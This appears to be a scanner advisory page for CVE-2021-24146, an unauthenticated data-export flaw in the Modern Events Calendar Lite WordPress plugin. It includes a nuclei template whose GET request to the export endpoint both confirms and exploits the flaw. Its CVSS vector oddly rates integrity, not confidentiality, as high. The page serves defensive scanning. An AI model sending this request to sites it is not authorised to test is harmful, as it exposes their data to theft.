WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure

highseverity

7.5CVSS score

31%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or database contents.

Fix

Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv
Positive when: contains in header "mec-events" and "text/csv" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24146 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24146

info:
  name: WordPress Modern Events Calendar Lite <5.16.5 - Sensitive Information Disclosure
  author: random_robbie
  severity: high
  description: WordPress Modern Events Calendar Lite before 5.16.5 does not properly restrict access to the export files, allowing unauthenticated users to exports all events data in CSV or XML format.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as user credentials or database contents.
  remediation: |
    Update to the latest version of the Modern Events Calendar Lite plugin (5.16.5 or higher) to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7b1ebd6-3050-4725-9c87-0ea525f8fecc
    - http://packetstormsecurity.com/files/163345/WordPress-Modern-Events-Calendar-5.16.2-Information-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24146
    - https://github.com/Hacker5preme/Exploits
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24146
    cwe-id: CWE-862,CWE-284
    epss-score: 0.31043
    epss-percentile: 0.98277
    cpe: cpe:2.3:a:webnus:modern_events_calendar_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: webnus
    product: modern_events_calendar_lite
    framework: wordpress
  tags: cve,cve2021,wpscan,packetstorm,wordpress,wp-plugin,webnus,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=MEC-ix&tab=MEC-export&mec-ix-action=export-events&format=csv"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "mec-events"
          - "text/csv"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from